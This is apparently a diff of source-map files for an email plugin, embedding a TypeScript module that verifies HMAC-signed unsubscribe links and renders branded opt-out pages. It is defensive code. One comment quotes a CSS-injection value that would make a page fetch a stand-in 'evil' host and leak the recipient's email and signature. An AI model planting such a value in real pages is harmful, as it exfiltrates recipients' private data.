AACpC,KAAK,OAAOhF,IAAIE,MAAM,CAAC,KAAKC,IAAI,CAAC;YAAEa,UAAUX,QAAQW,QAAQ;YAAEgE,KAAK;QAAK;QAC9E,OAAOhF,IAAIE,MAAM,CAAC,KAAKC,IAAI,CAAC;YAC1Ba,UAAUX,QAAQW,QAAQ;YAC1BgE,KAAK;gBACHtC,UAAUsC,IAAIgC,EAAE;gBAChB9G,QAAQhB,QAAO8F,WAAAA,IAAIR,GAAG,CAAC,qBAARQ,WAAqB;gBACpC9B,OAAO+B,QAAOD,YAAAA,IAAIR,GAAG,CAAC,oBAARQ,YAAoB;gBAClC7B,QAAQ8B,QAAOD,YAAAA,IAAIR,GAAG,CAAC,qBAARQ,YAAqB;gBACpC5B,UAAU6B,QAAOD,YAAAA,IAAIR,GAAG,CAAC,uBAARQ,YAAuB;gBACxCnD,SAASoD,QAAOD,YAAAA,IAAIR,GAAG,CAAC,sBAARQ,YAAsB;gBACtC3B,QAAQ,GAAG2B,YAAAA,IAAIR,GAAG,CAAC,uBAARQ,YAAuB,CAAC;gBACnChD,UAAUgD,IAAIR,GAAG,CAAC,gBAAgB;gBAClCrD,UAAU8D,QAAOD,YAAAA,IAAIR,GAAG,CAAC,uBAARQ,YAAuB;gBACxC5D,YAAY6D,QAAOD,YAAAA,IAAIR,GAAG,CAAC,yBAARQ,YAAyB;gBAC5CzD,eAAe,GAAGyD,YAAAA,IAAIR,GAAG,CAAC,8BAARQ,YAA8B,EAAE;gBAClDvF,SAAS,GAAGuF,YAAAA,IAAIR,GAAG,CAAC,wBAARQ,YAAwB;YACtC;QACF;IACF,EAAE,OAAO3F,OAAO;QACdyC,QAAQzC,KAAK,CAAC,qCAAqCA;QACnD,OAAOW,IACJE,MAAM,CAAC,KACPC,IAAI,CAAC;YAAEd,OAAO;QAAqC;IACxD;AACF,EAAC;AAED;;;;;;;;;;;CAWC,GACD,OAAO,SAASgI;IACdtJ,uBACE,6BACAgC;IAEFhC,uBAAuB,2BAA2BgE;IAClDhE,uBAAuB,yBAAyBgH;IAChDhH,uBACE,4BACAkJ;AAEJ"}
@@ -28,7 +28,7 @@ import { _ as _extends } from "@swc/helpers/_/_extends";
28
28
  * Nothing here touches Firestore. That is deliberate — the verification and
29
29
  * the rendering are pure, so a spec can exercise the signature scheme without
30
30
  * standing up a database double.
31
- */ import { resolveSiteTheme } from "@aglyn/aglyn/app-utils/marketplace-theme";
31
+ */ import { resolveSiteTheme } from "@aglyn/aglyn/app-utils/site-theme";
32
32
  import { hostPublicOrigin } from "@aglyn/aglyn/app-utils/host-naming";
33
33
  import { resolveHostToken } from "@aglyn/aglyn/app-utils/host-tokens";
34
34
  import { absoluteMediaSrc } from "@aglyn/aglyn/app-utils/media-ref";
@@ -1 +1 @@
1
- {"version":3,"sources":["../../../../../../libs/plugins/email/src/lib/unsubscribe-link.ts"],"sourcesContent":["/**\n * @license\n * Copyright 2026 Aglyn LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n/**\n * The SIGNED-LINK primitives every recipient-facing email route shares.\n *\n * Three routes read the same link — `email/unsubscribe`, `email/resubscribe`\n * and `email/preferences` — and every one of them verifies the same HMAC,\n * derives the same suppression key, and renders the same branded shell. They\n * live here rather than in one route's module because the alternative is what\n * the resubscribe route's docblock already warns about: \"Two implementations\n * of one signature scheme is how the resubscribe link comes to reject a\n * signature the unsubscribe link just accepted.\"\n *\n * Nothing here touches Firestore. That is deliberate — the verification and\n * the rendering are pure, so a spec can exercise the signature scheme without\n * standing up a database double.\n */\n\nimport {\n resolveSiteTheme,\n type ThemeHostDocument,\n} from '@aglyn/aglyn/app-utils/marketplace-theme'\nimport { hostPublicOrigin } from '@aglyn/aglyn/app-utils/host-naming'\nimport {\n resolveHostToken,\n type HostTokenSource,\n} from '@aglyn/aglyn/app-utils/host-tokens'\nimport { absoluteMediaSrc } from '@aglyn/aglyn/app-utils/media-ref'\nimport { personKey, type PluginApiHandler } from '@aglyn/aglyn/server'\nimport { BRAND } from '@aglyn/shared-data-enums'\nimport type { HostTheme } from '@aglyn/shared-data-types'\n// Subpath, not the library index — see the note there.\nimport { prefersDarkInk } from '@aglyn/shared-util-tools/contrast'\n// The one escaper (AGL-2706). This module had its own, which escaped four\n// characters where the serialization needs five: a brand name, a topic label\n// and a signed query all reach these pages, and they are interpolated into\n// double-quoted attributes AND into element text, so the set has to be the\n// one that covers both.\nimport { escapeHtml } from '@aglyn/shared-util-tools/escape-html'\n// The leaf module, not the barrel: it imports `node:crypto` and nothing else,\n// which is what keeps this file free of Firestore. See `signedConfirmSubject`.\nimport { confirmSignatureSubject } from '@aglyn/tenant-data-admin/server/email-unsubscribe-link'\nimport { createHmac, timingSafeEqual } from 'crypto'\n\n/**\n * Suppression list keys are the SHA-256 of the normalized address (emails are\n * PII).\n *\n * `personKey` and NOT a fourth local `createHash` call. D5 of\n * `docs/specs/email-competitive-gaps.md` records two derivations that agree\n * only by luck: this module's predecessor hashed the address without\n * lowercasing or trimming, `campaign-send.ts` lowercased, and the two matched\n * only because `performCampaignSend` lowercases every address upstream before\n * the link is minted. The preference page is a THIRD caller, and the\n * instruction that comes with a third caller is to unify rather than to add a\n * variant.\n *\n * The digest is unchanged for every address these routes have ever seen —\n * `readParams` already trims and lowercases, which is exactly what\n * `normalizeContactEmail` does — so no stored suppression moves.\n *\n * @returns the key, or `null` for a value that is not an address. The old\n * local helper hashed anything it was handed, which meant a\n * malformed `email` parameter addressed a suppression document for a\n * person who does not exist.\n */\nexport function suppressionKeyFor(email: string): string | null {\n return personKey(email)\n}\n\n/**\n * The email palette, named once (AGL-2499 / AGL-2025).\n *\n * These are TRANSCRIPTIONS of the console theme's tokens — see the note on\n * {@link page} below — not new colors. They have to be literal hex because\n * this is email-adjacent HTML served without a stylesheet: no CSS variables,\n * no theme provider, so `theme.palette.*` cannot reach the wire. Naming them\n * here keeps that unavoidable literal to ONE place per color instead of once\n * per use, which is also what keeps this file under the AGL-2025 color\n * ratchet.\n *\n * A `const` is not a style slot, so the ratchet does not count these — and\n * that is the point: the check exists to catch a color typed inline where a\n * token would do, not a documented email palette.\n */\nexport const PAL = {\n /** Page backdrop behind the card. */\n pageBg: '#F5F5F5',\n /** The card itself. */\n cardBg: '#FFFFFF',\n /** Brand slate — wordmark and primary button fill. */\n brand: '#404C5C',\n /** The short accent rule under the wordmark. */\n accentRule: '#e040fb',\n /** Heading ink. */\n ink: '#212121',\n /** Body copy. */\n muted: '#616161',\n /** Text on a filled brand/link button. */\n onBrand: '#fff',\n /** Soft circle behind the success checkmark. */\n badgeBg: '#EEF0F2',\n /** Links and the resubscribe button fill. */\n link: '#00B0FF',\n /** Hairline between the preference page's topic rows. */\n divider: '#E0E0E0',\n} as const\n\n/** The palette a page paints with: {@link PAL}, or a host's colors over it. */\nexport type EmailPalette = { [K in keyof typeof PAL]: string }\n\n/**\n * Who the recipient is being shown as the sender.\n *\n * The four routes are reached from a MERCHANT's campaign, so the identity on\n * the page is the merchant's — not ours and not the deployment's. See\n * {@link resolveEmailPageBrand} for the fallback chain.\n */\nexport interface EmailPageBrand {\n /** The wordmark, the `<title>`, and the `alt` behind a logo that fails. */\n name: string\n /** An absolute `https:` logo, or nothing. */\n logoUrl?: string\n pal: EmailPalette\n}\n\n/**\n * The deployment's own identity — the fallback, and what a self-host operator\n * sees. `BRAND.ORG_NAME` stays correct per-DEPLOYMENT; the host brand layers\n * on top of it rather than replacing it.\n */\nexport const PLATFORM_EMAIL_BRAND: EmailPageBrand = Object.freeze({\n name: BRAND.ORG_NAME,\n pal: PAL,\n})\n\n/** The fields {@link resolveEmailPageBrand} reads off a `hosts/{hostId}` doc. */\nexport type EmailBrandSource = HostTokenSource & {\n $id?: string\n theme?: HostTheme\n}\n\n/**\n * A color safe to interpolate into an inline `style` attribute.\n *\n * HEX ONLY, and that is a security boundary rather than a style preference.\n * These values come from a merchant-editable theme and land inside\n * `style=\"…\"`, so any syntax richer than a hex literal is an injection: a\n * stored `red;background:url(https://evil/?e=` would close the declaration and\n * make the browser fetch a URL from a page whose own address carries the\n * recipient's email and its HMAC. `url()`, `expression()`, custom properties\n * and even `rgb()` are all refused for that one reason — none of them is worth\n * a parser here. Anything unrecognized falls back, so a malformed theme is a\n * plain page rather than a broken one.\n */\nconst HEX_COLOR = /^#(?:[0-9a-f]{3,4}|[0-9a-f]{6}|[0-9a-f]{8})$/i\n\nfunction safeColor(value: unknown, fallback: string): string {\n const text = typeof value === 'string' ? value.trim() : ''\n return HEX_COLOR.test(text) ? text : fallback\n}\n\n/**\n * Black or white text for a filled button, whichever the eye can actually read.\n *\n * Without this, a host whose primary is a pale yellow gets white-on-white and\n * the recipient cannot find the button that unsubscribes them — a legibility\n * failure on this page is a compliance failure, not a cosmetic one.\n *\n * The luminance and the split come from `shared-util-tools/contrast`, which\n * is the same math this file used to carry and the console carried a wrong\n * copy of. `safeColor` has already refused anything but a hex literal by the\n * time a color reaches here, so an unmeasurable one is impossible rather than\n * merely unlikely — and it still falls back to the on-brand ink if one does.\n */\nfunction readableInkOn(background: string): string {\n return prefersDarkInk(background) === true ? PAL.ink : PAL.onBrand\n}\n\n/**\n * The host's logo as an absolute `https:` URL, or nothing.\n *\n * `absoluteMediaSrc` because `logoUrl` has three stored generations and two of\n * them — a `media:` reference and the AGL-175 relative CDN path — resolve\n * site-RELATIVE (AGL-1407). This page is opened from an email, so there is no\n * page origin to resolve against and the stored value cannot be used as-is.\n *\n * `https:` only. The resolver will hand back whatever scheme an author typed,\n * and a `data:` URI here would be an unbounded payload inlined into a page we\n * must keep small and predictable, while `javascript:` is exactly the value a\n * merchant-editable field must never reach an attribute with. A value we\n * cannot make into an absolute `https:` URL yields no logo, which the shell\n * already handles by showing the wordmark.\n */\nfunction safeLogoUrl(host: EmailBrandSource): string | undefined {\n const stored = resolveHostToken('logo', host)\n if (!stored) return undefined\n const resolved = absoluteMediaSrc(stored, {\n hostId: host.$id,\n origin: hostPublicOrigin(host),\n })\n return resolved && /^https:\\/\\//i.test(resolved) ? resolved : undefined\n}\n\n/** A hostile 10KB display name must not become the whole page. */\nconst BRAND_NAME_MAX = 60\n\n/**\n * The merchant's identity for the shell, falling back to the deployment's.\n *\n * ONLY the brand-carrying slots are host-derived — the wordmark color, the\n * accent rule, the link/marker color and the primary button fill. The\n * neutrals (page, card, ink, muted, divider, badge) are deliberately FIXED.\n *\n * That split is the safety property. A theme is merchant-editable, and a site\n * whose `background.default` and `text.primary` are both white would otherwise\n * render an unreadable opt-out page — which is a compliance failure. Keeping\n * the surface and the body copy on known-legible values means the worst a\n * careless or hostile theme can do is pick an ugly accent, while the page a\n * recipient needs in order to leave still works. The button's own text is\n * contrast-matched to whatever fill it lands on ({@link readableInkOn}).\n *\n * Reads the LIGHT scheme only. There is no scheme toggle on a page opened from\n * an email, and the shell paints a light card unconditionally, so a host's\n * dark-scheme colors would be picked against the wrong background.\n *\n * Pure, and never a network call. A host with nothing set — or no host at all\n * — resolves to {@link PLATFORM_EMAIL_BRAND}, which is the self-host answer\n * as much as it is the missing-data one.\n */\nexport function resolveEmailPageBrand(\n host: EmailBrandSource | null | undefined,\n): EmailPageBrand {\n if (!host) return PLATFORM_EMAIL_BRAND\n // `resolveHostToken` rather than a fourth reading of these fields: the\n // closed registry already knows a business name is `seo.entity.name` before\n // `displayName`, and already says a missing logo falls back to the wordmark.\n const name =\n resolveHostToken('businessName', host)?.slice(0, BRAND_NAME_MAX).trim() ||\n BRAND.ORG_NAME\n // Resolved: a site's edits are an override on its picked theme (AGL-3404).\n const scheme = resolveSiteTheme(host as ThemeHostDocument)?.colorSchemes?.light\n // `''` distinguishes \"set to something unusable\" from \"not set\", which the\n // accent rule below needs: a host that themed a primary and no secondary\n // wants the rule in ITS color, while a host that themed nothing at all\n // wants the platform's accent rather than a slate rule nobody chose.\n const primary = safeColor(scheme?.primary?.main, '')\n const brand = primary || PAL.brand\n return {\n name,\n logoUrl: safeLogoUrl(host),\n pal: {\n ...PAL,\n brand,\n onBrand: readableInkOn(brand),\n link: brand,\n accentRule: safeColor(\n scheme?.secondary?.main,\n primary || PAL.accentRule,\n ),\n },\n }\n}\n\n/**\n * Branded shell (AGL-2411, per-tenant since AGL-2408): the plain `system-ui`\n * box this used to be read as an unstyled error page, not a page this product\n * owns — which matters here specifically, because this is the one screen a\n * recipient who does NOT trust the sender is looking at.\n *\n * The identity is the SENDING SITE's. A recipient of a merchant's newsletter\n * arrives here from that merchant's email, and a page headed with our name is\n * both wrong and, on the screen where somebody decides whether this mail is\n * legitimate, actively unhelpful. `brand` defaults to\n * {@link PLATFORM_EMAIL_BRAND} so a caller with no host — and a self-host\n * deployment — still gets a complete, correctly-named page.\n *\n * `maxWidth` widens for the preference page, which is a list of choices rather\n * than a single sentence and a button.\n *\n * `<meta charset>` even though `sendPage` sets the header: a client that\n * ignores the header, or a page saved to disk, otherwise renders the em-dashes\n * in this copy as mojibake.\n *\n * `<meta name=\"referrer\" content=\"no-referrer\">` because THIS page's own URL\n * carries the recipient's address and the HMAC that authorizes acting on it.\n * A host logo is a third-party request, and the default referrer policy would\n * hand that whole link to whoever serves the image.\n */\nexport function page(\n body: string,\n maxWidth = 420,\n brand: EmailPageBrand = PLATFORM_EMAIL_BRAND,\n): string {\n const pal = brand.pal\n const brandName = escapeHtml(brand.name)\n // `alt` is the business name, so a logo that 404s or is blocked degrades to\n // the wordmark with no script and no second request.\n const mark = brand.logoUrl\n ? `<img src=\"${escapeHtml(brand.logoUrl)}\" alt=\"${brandName}\" ` +\n 'referrerpolicy=\"no-referrer\" style=\"display:block;max-height:40px;' +\n 'max-width:200px;width:auto;height:auto;object-fit:contain;' +\n 'margin-bottom:4px\">'\n : `<div style=\"font-size:15px;font-weight:700;letter-spacing:.02em;` +\n `color:${pal.brand};margin-bottom:4px\">${brandName}</div>`\n return (\n '<!doctype html><meta charset=\"utf-8\">' +\n '<meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">' +\n '<meta name=\"referrer\" content=\"no-referrer\">' +\n `<title>${brandName}</title>` +\n '<div style=\"min-height:100vh;display:flex;align-items:center;justify-content:center;' +\n `background:${pal.pageBg};font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,` +\n 'Helvetica,Arial,sans-serif;padding:24px;box-sizing:border-box\">' +\n `<div style=\"max-width:${maxWidth}px;width:100%;background:${pal.cardBg};border-radius:12px;` +\n 'padding:36px 32px;box-shadow:0 1px 3px rgba(0,0,0,.08),0 8px 24px rgba(0,0,0,.06)\">' +\n mark +\n `<div style=\"width:32px;height:3px;border-radius:2px;background:${pal.accentRule};` +\n 'margin-bottom:24px\"></div>' +\n body +\n '</div></div>'\n )\n}\n\n/** A heading in the shell's type scale. */\nexport function heading(text: string): string {\n return (\n `<h1 style=\"margin:0 0 8px;font-size:20px;font-weight:700;color:${PAL.ink}\">` +\n `${text}</h1>`\n )\n}\n\n/** Body copy in the shell's type scale. */\nexport function paragraph(html: string, marginBottom = 24): string {\n return (\n `<p style=\"margin:0 0 ${marginBottom}px;font-size:14px;line-height:1.5;` +\n `color:${PAL.muted}\">${html}</p>`\n )\n}\n\n/** The success checkmark badge the result pages open with. */\nexport function successBadge(pal: EmailPalette = PAL): string {\n return (\n `<div style=\"width:40px;height:40px;border-radius:50%;background:${pal.badgeBg};` +\n 'display:flex;align-items:center;justify-content:center;margin-bottom:16px;' +\n `font-size:18px;color:${pal.brand}\">&#x2713;</div>`\n )\n}\n\n/**\n * A full-width submit button in either the brand or the link fill.\n *\n * The label ink is contrast-matched to the fill rather than fixed white: with\n * a host palette the fill is merchant-chosen, and a pale one would otherwise\n * hide the label on the button a recipient came here to press.\n */\nexport function submitButton(\n label: string,\n options?: {\n name?: string\n value?: string\n accent?: 'brand' | 'link'\n pal?: EmailPalette\n },\n): string {\n const pal = options?.pal ?? PAL\n const background = options?.accent === 'link' ? pal.link : pal.brand\n return (\n '<button type=\"submit\"' +\n (options?.name ? ` name=\"${escapeHtml(options.name)}\"` : '') +\n (options?.value ? ` value=\"${escapeHtml(options.value)}\"` : '') +\n ' style=\"font:inherit;font-size:14px;font-weight:600;' +\n `padding:11px 20px;border:0;border-radius:8px;background:${background};` +\n `color:${readableInkOn(background)};cursor:pointer;width:100%\">${label}</button>`\n )\n}\n\n/** Headers every one of these pages sets: never indexed, never cached. */\nexport function sendPage(\n res: Parameters<PluginApiHandler>[1],\n html: string,\n): void {\n res.setHeader('Content-Type', 'text/html; charset=utf-8')\n // Never indexed, never cached — the page names the recipient's address.\n res.setHeader('X-Robots-Tag', 'noindex, nofollow')\n res.setHeader('Cache-Control', 'no-store')\n res.status(200).send(html)\n}\n\n/** Everything the signed link carries. */\nexport interface UnsubscribeLinkParams {\n hostId: string\n email: string\n signature: string\n campaignId: string\n topicId: string\n}\n\n/**\n * The link's parameters, from the query for both verbs and from the form body\n * as a fallback.\n *\n * The one-click POST keeps the full query string (it posts to the header URL\n * verbatim), and so does the confirmation form's action — so query-first is\n * the path both real callers take. The body fallback exists so a form posted\n * to the bare path still works rather than failing as an invalid link.\n */\nexport function readParams(\n req: Parameters<PluginApiHandler>[0],\n): UnsubscribeLinkParams {\n const body = (req.body ?? {}) as Record<string, unknown>\n const pick = (name: string): string =>\n String(req.query[name] ?? body[name] ?? '')\n return {\n hostId: pick('hostId').trim(),\n email: pick('email').trim().toLowerCase(),\n signature: pick('sig').trim(),\n // `cid` names the campaign whose copy of this link was clicked. Absent on\n // every link minted before it existed, which is the whole design\n // constraint below.\n campaignId: pick('cid').trim(),\n // `tid` names the STREAM the message belonged to. Absent on every link\n // minted before topics existed, on the same footing as `cid`.\n topicId: pick('tid').trim(),\n }\n}\n\n/**\n * The subject a signature covers, or `null` when the parameters cannot make\n * one unambiguously.\n *\n * ## Three signed forms, and why that is not a weakening\n *\n * A link minted before campaign attribution existed signs `hostId:email`. A\n * link minted since signs `hostId:email:campaignId`. A link minted since\n * topics signs `hostId:email:campaignId:topicId`. All three are in inboxes\n * right now and all three have to keep working — an email is not recallable,\n * and an unsubscribe link that has stopped honoring itself is the one failure\n * in this area nobody gets to shrug at.\n *\n * Which form is checked is decided by the LINK, not by the signature: the\n * arity of the subject follows exactly which of `cid` and `tid` the URL\n * carries. There is no fallback between the forms, and that is what stops\n * this being a downgrade — an attacker cannot take a three-part link, drop\n * the `cid` and have it verify, because the two-part check over the same\n * `hostId:email` produces a different digest. Nor can they bolt a `cid` or a\n * `tid` onto a shorter link: the longer check then fails.\n *\n * ## What makes the three forms unambiguous\n *\n * The forms are joined with `:`, so a `cid` or `tid` that CONTAINED a colon\n * would let one subject string be read as two different parameter tuples —\n * a four-part `host:email:c:t` is byte-identical to a three-part subject\n * whose campaign id is `c:t`. That is the edit this function has to refuse:\n * an attacker holding a topic link could otherwise re-present it as a\n * campaign link with the topic spliced into the campaign id, and the topic\n * they were signed for would silently become something else.\n *\n * So a colon in either id is refused outright, on every form. It costs\n * nothing real: campaign ids come from `createResourceUid()`, which is\n * `nanoid`'s `A-Za-z0-9_-` alphabet, and `isEmailTopicId` refuses a colon at\n * the point a topic is created.\n *\n * A `tid` with no `cid` is refused for the same reason — the empty middle\n * component would make `host:email::t` and a campaign id of `:t` the same\n * string. Every link the send path mints carries both.\n */\nexport function signedSubject(params: {\n hostId: string\n email: string\n campaignId: string\n topicId: string\n}): string | null {\n const { hostId, email, campaignId, topicId } = params\n if (campaignId.includes(':') || topicId.includes(':')) return null\n if (topicId && !campaignId) return null\n if (topicId) return `${hostId}:${email}:${campaignId}:${topicId}`\n if (campaignId) return `${hostId}:${email}:${campaignId}`\n return `${hostId}:${email}`\n}\n\n/**\n * What a CONFIRMATION link's signature covers, or `null` when it cannot be\n * made unambiguously.\n *\n * ## The ONE derivation, not a second one\n *\n * The subject itself is `confirmSignatureSubject` in\n * `@aglyn/tenant-data-admin`, where the SENDER that mints the link lives. The\n * three unsubscribe forms are stated twice — once there, once here — and they\n * agree today by inspection; adding a fourth form the same way would be\n * adding a fourth chance for a signer and a verifier to disagree about a link\n * that is already sitting in somebody's inbox.\n *\n * The deep path rather than the barrel, for the reason `email-suppression.ts`\n * gives at length: that module imports nothing but `node:crypto`, so this\n * file stays free of Firestore and a spec can still exercise the signature\n * scheme without standing up a database double.\n */\nexport function signedConfirmSubject(params: {\n hostId: string\n email: string\n topicId: string\n}): string | null {\n return (\n confirmSignatureSubject(params.hostId, params.email, params.topicId) || null\n )\n}\n\n/**\n * Whether a signature is this link's.\n *\n * `timingSafeEqual` needs equal lengths, so the length is compared first — it\n * is not a secret, both digests are fixed-width hex, and the call throws on a\n * mismatch rather than returning false.\n */\nexport function signatureMatches(args: {\n hostId: string\n email: string\n campaignId: string\n topicId: string\n signature: string\n secret: string\n /**\n * Verify the CONFIRMATION subject instead of the unsubscribe forms.\n *\n * A flag rather than a second function, so that every signed link in the\n * product is checked by one comparison against one digest: the warning in\n * this module's own header — that two implementations of one signature\n * scheme is how the resubscribe link comes to reject a signature the\n * unsubscribe link just accepted — applies to a fourth route as much as a\n * third.\n */\n purpose?: 'unsubscribe' | 'confirm'\n}): boolean {\n const subject =\n args.purpose === 'confirm'\n ? signedConfirmSubject(args)\n : signedSubject(args)\n if (subject === null) return false\n const expected = createHmac('sha256', args.secret)\n .update(subject)\n .digest('hex')\n return (\n expected.length === args.signature.length &&\n timingSafeEqual(\n new Uint8Array(Buffer.from(expected)),\n new Uint8Array(Buffer.from(args.signature)),\n )\n )\n}\n\n\n/**\n * The signed parameters, re-encoded for a form action or a sibling link.\n *\n * Every id rides through to the POST form, the preference page and the\n * resubscribe link, because the signature covers them: dropping one would\n * produce a URL whose shorter check fails against a longer signature, i.e. a\n * confirmation button that refuses itself.\n */\nexport function signedQuery(params: UnsubscribeLinkParams): string {\n return (\n `hostId=${encodeURIComponent(params.hostId)}` +\n `&email=${encodeURIComponent(params.email)}` +\n `&sig=${encodeURIComponent(params.signature)}` +\n (params.campaignId ? `&cid=${encodeURIComponent(params.campaignId)}` : '') +\n (params.topicId ? `&tid=${encodeURIComponent(params.topicId)}` : '')\n )\n}\n\n/**\n * A campaign id that is safe to use as a Firestore path component.\n *\n * `cid` arrives on a URL, so \"non-empty\" was never the question — a value of\n * `a/b/c` addresses `campaigns/a/b/c`, a path the merchant can neither see\n * nor delete. The signature already proves the value is ours, so this is the\n * second lock rather than the only one; it is here because a path component\n * built from request text gets validated at the place it becomes a path.\n */\nexport function isCampaignPathId(value: string): boolean {\n return (\n !!value &&\n value.length <= 1500 &&\n !value.includes('/') &&\n value !== '.' &&\n value !== '..' &&\n !/^__.*__$/.test(value)\n )\n}\n"],"names":["resolveSiteTheme","hostPublicOrigin","resolveHostToken","absoluteMediaSrc","personKey","BRAND","prefersDarkInk","escapeHtml","confirmSignatureSubject","createHmac","timingSafeEqual","suppressionKeyFor","email","PAL","pageBg","cardBg","brand","accentRule","ink","muted","onBrand","badgeBg","link","divider","PLATFORM_EMAIL_BRAND","Object","freeze","name","ORG_NAME","pal","HEX_COLOR","safeColor","value","fallback","text","trim","test","readableInkOn","background","safeLogoUrl","host","stored","undefined","resolved","hostId","$id","origin","BRAND_NAME_MAX","resolveEmailPageBrand","scheme","slice","colorSchemes","light","primary","main","logoUrl","secondary","page","body","maxWidth","brandName","mark","heading","paragraph","html","marginBottom","successBadge","submitButton","label","options","accent","sendPage","res","setHeader","status","send","readParams","req","pick","String","query","toLowerCase","signature","campaignId","topicId","signedSubject","params","includes","signedConfirmSubject","signatureMatches","args","subject","purpose","expected","secret","update","digest","length","Uint8Array","Buffer","from","signedQuery","encodeURIComponent","isCampaignPathId"],"mappings":"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